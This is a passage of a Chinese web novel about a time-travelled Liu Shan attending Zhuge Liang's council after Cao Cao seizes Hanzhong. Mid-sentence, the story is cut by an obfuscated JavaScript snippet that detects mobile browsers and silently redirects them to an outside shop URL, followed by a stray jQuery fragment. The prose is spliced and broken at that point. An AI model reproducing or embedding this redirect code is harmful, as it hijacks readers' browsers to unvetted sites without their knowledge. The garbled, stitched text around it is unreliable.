诸葛亮没再多说,带着刘禅和张苞继续沿渠沟往前巡视了。
走出十几步远,刘禅偷偷回头看了一眼,蒋琬已经重新蹲回田埂上,又跟那个老农凑在一起,拿根狗尾草在地上比划着,应该还是在说挖支沟的事。
他腰间那个小葫芦晃悠悠的,在午后的日光里闪着一点微光。
刘禅正想着心事,忽然听见走在前头的诸葛亮低声说了一句话。声音不大,像是自言自语,但刚好能让身旁的人听见。
“公琰,社稷之器,非百里之才也。”
刘禅脚步顿了一下,赞同道:“先生说得是。”
他记得史书上蒋琬当广都县长的时候,因为“众事不理,时又沉醉”被刘备撞见,差点丢了脑袋,是诸葛亮力保才保下来的。
可刚才看蒋琬的样子,明明是在田里跑前跑后,裤腿上糊得全是泥,哪有半点“不理众事”的样子?
大概是因为他总蹲在田间地头跟百姓混在一起,在官署里反倒见不着人影,加上腰间那个酒葫芦实在太扎眼,才被人在背后传成了“不务正业”。
刘禅忽然有点感慨,官场上这种事他上辈子在大学里就见过一点影子。真正埋头做事的人不一定讨上头喜欢,反倒是那些坐在办公室里喝茶写报告的更受赏识。
诸葛亮微微偏头看了他一眼,目光里有几分意外。
他刚才那句话,只是有感而发的自语。但他没想到刘禅听懂了,语气中也十分赞同。
诸葛亮觉得,这小子看人看事的眼力很敏锐。
“嗯,”诸葛亮没有多说,只是轻轻嗯了一声,继续往前走。
“阿斗,你发什么呆?”张苞从后面赶上来了,用手里的木棍戳了戳刘禅的肩膀,“走快点,你腿短还走得慢。”
“谁腿短了?”刘禅立刻回神,很不服气地挺了挺胸,“我这是还在长个子,急什么。”
“是是是,你在长个子,”张苞咧嘴一笑,露出一口白牙,“等我比你高半个头的时候你也在长。”
刘禅懒得跟他抬杠,加快脚步跟上了诸葛亮。
……
今天刘禅照例带着小六往州牧府走,穿过回廊的时候,远远就看见正堂门口站了好几拨人。
都三三两两站在廊下说话,声音都压得很低,但神色间都带着一股说不出的凝重。
刘禅脚步顿了顿。
平常来州牧府议事的也就是三五个人,最多不过七八个。今天这阵仗,廊下站了少说十几二十号人,而且看样子人还没到齐。
出事了!
他脑子里跳出这个念头,脚步没停,照常往正堂走。廊下的人看见他,纷纷拱手行礼,“公子。”
刘禅一一还礼,目光扫过这些人的脸。
董和、刘巴已经到了,正站在廊柱旁边低声交谈。许靖也来了,这位年过六旬的老先生平时不怎么参与日常议事,今天居然也在场。
还有从事祭酒程畿、蜀郡太守张裔、议曹从事杜琼……文官这边能叫得上名字的基本到齐了。武将那边来了裨将军费观、偏将军吴懿,还有几个他叫不上名字的校尉。
这阵势,不是小事啊!
他深吸一口气,面上不动声色,抬脚跨进正堂。
诸葛亮已经坐在主位上了。
他面前堆着好几摞纸,手边放着一盏茶。他正在看一份公文,眉头微微蹙着,听见脚步声抬起头来,看见是刘禅,微微点了点头。
“阿斗来了。”
“先生。”刘禅行了一礼,也不多话,自己走到右边最末的侧席坐下。
第一次来旁听的时候,诸葛亮让他坐近一点,他说坐这里就好,听得清楚还不碍事。诸葛亮也就随他去了。
从那以后,右边最末那张席子就成了他的固定座位,府里的书吏都知道。
刘禅坐下来,偷偷打量了一眼诸葛亮的神色。
诸葛亮平时一副沉稳从容的样子,喜怒不形于色,但今天眉宇间多了一层沉郁,嘴角的弧度比平时绷得更紧。
再看堂下陆续落座的文武官员,一个个面色凝重,连平时最爱说话的几个人今天都闭着嘴。
等众人坐定,诸葛亮没有多余的开场白,直接开口。
“今早收到的军报,”他把手里的信举了举,“曹操已破阳平关,张鲁退守巴中。曹军前锋已入南郑。”
这句话像一颗石头扔进水里,正堂里瞬间炸了锅。
“南郑丢了?”蜀郡太守张裔第一个开口,声音都变了,“张鲁在汉中经营多年,阳平关更是天险,怎么就破了?”
“张鲁之众不过乌合,”刘巴冷冷地说,“阳平关再险,也得有人守得住。他手底下那帮祭酒道士,能挡住曹操的虎豹骑?”
“话不能这么说,”许靖捋着胡须,声音还是中气还足,“张鲁治汉中二十余年,户口殷实,粮草充足。曹操大军远征,粮道艰险,按理说不该这么快得手。”
“阳平关失守的具体缘由,军报上写得简略,暂且不论。”诸葛亮把帛书放到一边,十指交叉搁在案上,扫视了一圈堂下众人,“眼下要议的是两件事。其一,曹操得了南郑,下一步会做什么。其二,益州该如何应对。”
这话一出,方才还七嘴八舌的众人安静了一瞬。
刘禅坐在角落里,把每个人的反应都看在眼里。
费观的眉头拧成一团,吴懿双臂抱在胸前,嘴唇抿成一条线。他们俩都是带过兵的人,知道汉中对于益州意味着什么。
汉中盆地跟益州腹地之间就隔着一道米仓山,从南郑南下,走米仓道、金牛道、褒斜道,条条大路通蜀地。曹操要是动了南下的心思,益州就直接暴露在兵锋之下!
许靖皱着眉,若有所思。刘巴面无表情,手指轻轻叩着面前的案面。董和倒是沉稳,坐在那里一动不动。
“我担心的倒不是曹操立刻南下,”董和率先开口,声音不高不低,“曹操此番征张鲁,凉州武威太守毌丘兴叛乱,关中也尚未完全平定。他即便得了汉中,也需要时间消化。眼下最麻烦的,不是敌军,是人心。”
他顿了顿,看向诸葛亮,“汉中易主的消息传开,益州各郡县必定人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899012|208875||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
心惶惶。尤其是巴西、巴东、涪陵这些跟汉中接壤的郡,当地豪强会怎么想?百姓会怎么想?曹操要是派人潜入这些地方散布流言,说益州不日将破,到时候不用曹军打,自己就先乱了。”
诸葛亮微微颔首,没有急着表态,又看向刘巴,“子初怎么看?”
刘巴依旧是那副不咸不淡的表情,“说得对。益州本来就是新定之地,人心未附。主公入蜀才不到两年,本地士族观望的、不服的、心存侥幸的,大有人在。曹操拿下汉中,等于在益州头顶悬了一把刀,那些墙头草的心思难免活络起来。内部先稳住。人心定不住,后面说什么都是白搭。”
“那防务呢?”费观忍不住插了一句,“巴西是跟汉中接壤的第一线,阆中现在的兵力够不够?要不要从成都抽调兵力北上?”
“调兵容易,粮草怎么解决?”张裔接话,“今年蜀郡这边春旱,收成本来就不如往年。要是大军调动,粮草征调压在百姓身上,怕是又要激起民怨。”
“那也不能坐视不管,”费观的声音提高了几分,“万一曹操真的南下了呢?到时候再调兵,黄花菜都凉了!”
“费将军,”吴懿终于开口了,声音沉稳,“曹操刚得汉中,他手底下的兵也是人,也需要休整。而且他要是南下,必须翻米仓山。米仓道是什么路况,在座的都清楚,大军走那条路,光是粮草运输就能拖垮一半人马。他不会这么冲动。”
“就算他今年不来,明年呢?后年呢?”费观并不退让,“汉中在曹操手里,益州就别想睡安稳觉。”
众人你一言我一语,正堂里的声音越来越大。刘禅坐在角落里,两只手规规矩矩地放在膝盖上,听着这些人的争论,心里也在飞快地转。
他记得曹操拿下汉中之后,并没有立刻南下,而是留下了夏侯渊和张郃镇守,自己回了邺城。但知道历史走向是一回事,眼前这场争论又是另一回事。
在座的这些人没有上帝视角,他们只知道曹操的虎豹骑已经到了家门口,换谁谁不慌?
而且说实话,刘禅自己心里也没那么笃定。
历史确实记载了曹操没有南下,但万一呢?他这只蝴蝶扇了这么久的翅膀,谁知道会不会改变什么东西?
他甩了甩脑袋,把这个念头抛开,继续听。
许靖沉吟了好一会儿,终于开口了。
他的声音慢条斯理的,“我以为,当务之急是两件事。一,派人安抚各郡,尤其是巴西、巴东沿线,务必稳住本地豪强,不能让他们被曹操拉拢过去。二,给主公去信,把汉中的情况说清楚。主公此刻在公安与孙权对峙,两边都不是小事,必须统筹调度。”
“许公说的是正理,”董和点头附议,“另外我补充一点。汉中的百姓,曹操八成不会留在原地。曹操惯用的手段,就是把新占领地的百姓迁往关中,充实户口、增加赋税。张鲁治下汉中户口少说也有十万户,这些人要是被迁走了,汉中就成了一块空地,对我们日后北伐极为不利。”
刘禅听到这里,心里猛地一动。董和不愧是董和,眼光确实毒辣!